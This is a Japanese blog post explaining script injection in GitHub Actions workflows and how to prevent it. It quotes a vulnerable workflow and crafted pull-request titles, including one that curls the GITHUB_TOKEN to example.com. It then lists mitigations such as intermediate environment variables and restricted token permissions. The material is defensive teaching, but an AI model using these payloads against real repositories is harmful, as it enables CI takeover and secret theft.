■ はじめに
https://dk521123.hatenablog.com/entry/2024/04/05/000136
の続き。 CI/CDでは、自動的にデプロイするので 自然と比較的に強い権限が必要になる。 そのため、セキュリティに穴を開けると かなり大事故になるので、セキュリティについて 徐々にではあるが、書き溜めていく。 今回は、インジェクション攻撃について扱う。
目次
【0】Github Actions の セキュリティ関連のドキュメント 【1】インジェクション攻撃 【2】インジェクション攻撃例 【3】対策案 1)環境変数に定義し直す 2)その他
【0】Github Actions の セキュリティ関連のドキュメント
公式ドキュメント
* 以下にある => ちょっと時間がある時にちゃんと読みたいが、、、
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions
日本語サイト
* 上記のドキュメントは、英語なので、まずは、以下を読んでおくといいかも。 上記のドキュメントに沿っているので。
https://engineering.mercari.com/blog/entry/20230609-github-actions-guideline/
【1】インジェクション攻撃
変数に悪意があるコマンドを埋め込むセキュリティ攻撃
【2】インジェクション攻撃例
公式ドキュメントに例がある
- name: Check PR title if: ${{ !cancelled() }} run: | title="${{ github.event.pull_request.title }}" # ★注目★ if [[ $title =~ ^octocat ]]; then echo "PR title starts with 'octocat'" exit 0 else echo "PR title did not start with 'octocat'" exit 1 fi
解説
例えば、プルリクのタイトルを「a"; ls $GITHUB_WORKSPACE"」 にすると、 ~~~~~ title="${{ github.event.pull_request.title }}" # => title="a"; ls $GITHUB_WORKSPACE"" ~~~~~ となり、「ls $GITHUB_WORKSPACE」が実行される => 任意のコマンドが実行できてしまう。 => lsコマンド位ならまだしも、以下の公式で紹介されている 「a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#」なんて 実行されたらTOKEN盗まれて偉いことになる、、、
Run title="a"; ls $GITHUB_WORKSPACE"" # 「a"; ls $GITHUB_WORKSPACE"」 DemoLib <= ls の実行結果 LICENSE README.md demo1.py main.py sqls typescript PR title did not start with 'octocat' Error: Process completed with exit code 1.
【3】対策案
1)環境変数に定義し直す
* これが一番、気軽にできる
Using an intermediate environment variable
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-an-intermediate-environment-variable
- name: Check PR title env: # ★環境変数に定義し直す TITLE: ${{ github.event.pull_request.title }} run: | if [[ "$TITLE" =~ ^octocat ]]; then
2)その他
公式ドキュメントでは、インラインスクリプトを進めているので こちらも考えておいたほうがいい
Using an action instead of an inline script (recommended)
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-an-action-instead-of-an-inline-script-recommended
Using starter workflows for code scanning
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-starter-workflows-for-code-scanning
Restricting permissions for tokens
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#restricting-permissions-for-tokens
関連記事
Github ~ 入門編 ~
https://dk521123.hatenablog.com/entry/2019/07/18/234652
Github Actions ~ 基礎知識編 ~
https://dk521123.hatenablog.com/entry/2021/11/04/142835
Github Actions ~ 入門編 ~
https://dk521123.hatenablog.com/entry/2022/06/16/151443
Github Actions ~ 基本編 ~
https://dk521123.hatenablog.com/entry/2023/12/22/195715
Github Actions ~ pull_request / pull_request_target ~
https://dk521123.hatenablog.com/entry/2024/04/10/152101
Github Actions ~ セキュリティ/Third-Party Github Action ~
https://dk521123.hatenablog.com/entry/2024/04/05/000136
Github Actions ~ Self-hosted runners / 入門編 ~
https://dk521123.hatenablog.com/entry/2023/12/18/204119